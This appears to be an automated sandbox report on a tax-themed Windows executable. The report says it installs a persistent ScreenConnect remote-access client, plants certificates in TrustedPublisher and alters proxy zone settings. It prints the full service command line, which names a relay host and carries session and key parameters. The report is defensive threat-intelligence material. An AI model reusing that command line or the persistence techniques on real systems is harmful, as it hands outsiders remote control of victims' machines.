bb7312ad8dba9f8436d783d46df5ce59a0255ecf113d68585c5bebf14671ab86

Resubmissions

27/03/2024, 15:17

240327-sn4edsab21 8

27/03/2024, 15:01

240327-sec6vaef54 8

27/03/2024, 15:00

240327-sdj8rsef32 3

Analysis

max time kernel
721s
max time network
838s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
27/03/2024, 15:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SSA-taxID-351788.exe
Size

84KB
MD5

6fbb5177c1783b1a798b116887307962
SHA1

e77ad960baea0c7c882ba91ddcc5848a479e91c2
SHA256

4443b89e20c8ad7df0158ebeb2bb0266951ea1885aec2a1f8e7011ba275a1682
SHA512

a64684c80c7d9840375f05eb491dacc2685ed02a6612f3f5fc4f3bdaeb6da774da65fb0a550ef2343511bd58e2f0105d468f9454c4fa44512116c34858217a85
SSDEEP

1536:+azWlKzJVcNp++yQNS6xNNCT2l8NE8llbpTaCJRpsWr6cdaQTJSvYYS7Q8xm:yFNpo6rIKlUE8fbkqRfbaQlaYYSm

Score

8^/10

persistence

Malware Config

Signatures

Downloads MZ/PE file

Manipulates Digital Signatures 1 TTPs 4 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	SSA-taxID-351788.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054	SSA-taxID-351788.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	SSA-taxID-351788.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579	SSA-taxID-351788.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (56803b7a-ca34-4801-af8b-8afe3bdff8cd)\ImagePath = "\"C:\\Users\\Admin\\AppData\\Local\\Apps\\2.0\\7KH2PKVV.4O1\\TTBDO6D6.56O\\scre..tion_25b0fbb6ef7eb094_0017.0009_f980a3533165990d\\ScreenConnect.ClientService.exe\" \"?e=Support&y=Guest&h=instance-mguhbu-relay.screenconnect.com&p=443&s=56803b7a-ca34-4801-af8b-8afe3bdff8cd&k=BgIAAACkAABSU0ExAAgAAAEAAQDhx8OBj8FY8rB1VrDLChLP1LLvdBBljaauOrbEq6YeMiLKF8LA3tBnj7v%2bjnNSUoOgIYPdPVZVC89yNv4W6OHmtypYW6YajtDJo5zSReYHx%2fMVp1JeQxEyGWGVCcQaECUzy2npekQLBoCxF4skgFnbSweEO0PYHaDJL3LQ916%2fNkbdny3ByOho6jMuGHldl7DFDrdhGxxo91apGBvgTWZjjcLUCmmza2jEJqNDpgolf6%2fw6SGFOWJmoAo%2bHAL2HAr2bIEXc1TO55YYZu04meZuADpu3TP%2bZdwje%2bhzckgeVv7fnDETwzx84R41umbfOLsz1%2fBvfyca4Ps3ogcrRTS9&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAidJ5UHHL%2f0K3FnsoTNK%2feAAAAAACAAAAAAAQZgAAAAEAACAAAAD9EU8Ap3RLXjbAqboKAycg7aytc24rABWBdjR1T%2bjpIwAAAAAOgAAAAAIAACAAAAA4ahiwofKcHU837nwXv76h1FZ12drKh7jhA5tAOENay6AEAAAkV3vRjZCjCCsJUC2%2fIJCkieGONilTooHHzxzaj%2f5NKVOs4BVK%2b2M4%2bl0QbrfYYRxjHzqMTfokSjMZQke%2bYDEaKC0s3knMK9H04%2fy4vxT87hGrQpAPOEfeHf6WMchlzl%2brms5e8q3dgy%2bab1M44k5ztDE2sJRKVIpohnwScH96mPtc1OphdpJjxWOy9kJIeNUNn9vBf1JnBFp3FGdZfdkYOBCPeVi4Geo1k%2fBSrUgHkcAmNYM5mMXKkFm6ucT40F1FQDV92WPrLUbOQF2RHqJ0Knm9M630LSEM3NM7ReTRuPBtQMsInBLIx13N6GbdE4wrYKfKYcP3MjDhR6WZlmehjMxd%2fKM2QpC4ujgnLjhzIL9kL4f9ufZb1Oe95uY4YoBFtCbkzZtXdh9n6mnNxyfltfDDFAHXUhdnnf%2fmpAImdZStmSI9jQseqZHUIa2E0J%2fFEBVzP6DIHQhkx1bWaej%2fVvGe7tdn108Pwu5qCTiyBzWczq%2fgfkUji4SNruKWS5TP6lrcB0lEdyPJM32d5X7BuSSF%2f3zFr5f1%2fHKby6bG65wqdRDdIAdMwdtxuTwBQtv3qC2mWUB1lN%2fnDIRzh88pILmYrtQOpyxcpXV8rCGorTInJsH0%2fv0Xj43riGJKV4dkh48GERF0js6aVeceUXESJGV5loZoo6m%2bLETg8KdcDfqXEC2bZM47UI7bNAV%2f4jOv7kIHvJdxbC04vOYTuIHrHpDHeY29lC1s50Taroo4UJg4cNu5uUqiE2wjWShmSv9phrbcQEzhFV204owNHd%2bHp6f9HCA6HYZqXEDxiJdJQ09SKpZOLk6CdCrghv23N0dUMiV6I1BkHEwR4NyQS0aCMyzKMidLBNNX8WaMldyLUFGOwhuuIVZkD0oFArBzHz8My5n4Dv86fjNPZS8hrK371nE82d7LxXvDI%2f98A0ylR0dIx%2fDFtJ%2fOmVdApcvbEhXAUcej8V57ORSr8vj06l0uHgT7n2jbCtj48SQKm2ScLHD%2bfGvzWTkmY48RvNDLNSr%2bfVV4SW8SXvFnHrmb9EXyuwc%2bX2adL9qcbCp6pb3IlQpk9xE9%2brrwnQiDiZdoOj8QfE2ICAJUWsqce8LU6ak0xARRZ%2bjxAEQCfq81mmINB5sJ5O8xtpeyLD2G%2fBLkJtt34Ho2ds0h6JY8IVAU7sHMNbmC9Yp3ZUlirBE4pe00%2f%2bl%2bifnTqAzkerQA2eRwbybudx26AURKrR%2blbMBihI3eieVWbfUoNAisWithA0kqn36YN3okVDBsBOBbTqpt5CT0pfqyOm3MjayaBRg%2byNU1KquacO5tzx6%2fzPAmiAlHpLC50fvgEsMGcJNPyZnxzDCi6FmESQb7j0wa0xbGe0ciG76R6q3ZBs%2bcaXCklQ8T%2b40JXeL%2bgGXW70F7iuyIrykNHhGTGQCl2nb%2fwTghZMn7xZhzi0kjZO6ia5MQ0M4NMSryTC0UpRFl8gcRXrMn9bQClzedYLnFDXs4dcNVtrMJxfGnJB42eCsSwbgjHReS6eQ82u6zqb7WGui5MzeK0tubUWg7v6tEqWNJn2wECSN%2fz0FQjYmT87e78%2flNU1j17UAAAADS1z4TwpqI9gdNknM%2bmIVunNH%2fUfyXOK%2f5CJ7N9ShwID1c7enOabvreE5XPLz1Sk54h9o81dKbLieFXknmLhpc&r=&i=Untitled%20Session\" \"1\""	ScreenConnect.ClientService.exe

Executes dropped EXE 5 IoCs

pid	Process
2440	ScreenConnect.WindowsClient.exe
1476	ScreenConnect.ClientService.exe
4632	ScreenConnect.ClientService.exe
1572	ScreenConnect.WindowsClient.exe
1324	ScreenConnect.WindowsClient.exe

Loads dropped DLL 16 IoCs

pid	Process
1476	ScreenConnect.ClientService.exe
1476	ScreenConnect.ClientService.exe
1476	ScreenConnect.ClientService.exe
1476	ScreenConnect.ClientService.exe
1476	ScreenConnect.ClientService.exe
1476	ScreenConnect.ClientService.exe
4632	ScreenConnect.ClientService.exe
4632	ScreenConnect.ClientService.exe
4632	ScreenConnect.ClientService.exe
4632	ScreenConnect.ClientService.exe
4632	ScreenConnect.ClientService.exe
4632	ScreenConnect.ClientService.exe
4632	ScreenConnect.ClientService.exe
4632	ScreenConnect.ClientService.exe
4632	ScreenConnect.ClientService.exe
4632	ScreenConnect.ClientService.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\user.config	ScreenConnect.WindowsClient.exe
File opened for modification	C:\Windows\system32\user.config	ScreenConnect.WindowsClient.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445\lock!01000000fdbb570e34070000440d0000000000000000000 = 30303030303733342c30316461383035376263383439623334	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0009_f980a3533165990d\scre..vice_4b14c015c87c1ad8_0017.0009_none_171efd508	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445\DigestMethod = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0009_none_4b563d129b766e28\lock!040000007abc570e34070000440d0000000000000000000 = 30303030303733342c30316461383035376263383439623334	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0009_none_c7123e2bd9a688c6\Transform = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0017.0009_none_6a433ce92d10b8e9\identity = 53637265656e436f6e6e6563742e57696e646f77732c2056657273696f6e3d32332e392e31302e383831372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0017.0009_none_65cb6507f0c2a5b9\identity = 53637265656e436f6e6e6563742e436f72652c2056657273696f6e3d32332e392e31302e383831372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\OnlineAppQuotaUsageEstimate = "3530532"	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0009_f980a3533165990d\scre..core_4b14c015c87c1ad8_0017.0009_none_65cb6507f = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0017.0009_none_171efd5086820924\DigestMethod = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0009_f980a3533165990d\SubstructureCreated = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445\implication!scre..tion_25b0fbb6ef7eb094_0017.0009_20 = 68747470733a2f2f666561747572652e73637265656e636f6e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e392e31302e383831372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0009_none_4b563d129b766e28\implication!scre..tion_25b0fbb6ef7eb094_0017.0009_20 = 68747470733a2f2f666561747572652e73637265656e636f6e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e392e31302e383831372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0017.0009_none_6a433ce92d10b8e9\SizeOfStronglyNamedComponent = 4a4c1a0000000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Applications\scre..tion_25b0fbb6ef7eb094_0017.0009_f980a3533165990d\PreparedForExecution = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{60051b8f-4f12-400a-8e50-dd05ebd438d1}	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb = 68747470733a2f2f666561747572652e73637265656e636f6e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e392e31302e383831372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2f53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32332e392e31302e383831372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445\SizeOfStronglyNamedComponent = e04f040000000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0009_none_c7123e2bd9a688c6\DigestValue = 8807695ee8345e37efec43cbc0874277ed9b0a66	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0009_f980a3533165990d\implication!scre..tion_25b0fbb6ef7eb094_0017.0009_208965e = 68747470733a2f2f666561747572652e73637265656e636f6e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e392e31302e383831372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0017.0009_none_171efd5086820924\identity = 53637265656e436f6e6e6563742e436c69656e74536572766963652c2056657273696f6e3d32332e392e31302e383831372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0009_none_c7123e2bd9a688c6\SizeOfStronglyNamedComponent = e918090000000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0017.0009_none_6a433ce92d10b8e9\DigestValue = 334202965b07ab69f08b16fed0ee6c7274463556	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Installations	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb = 0000	dfsvc.exe
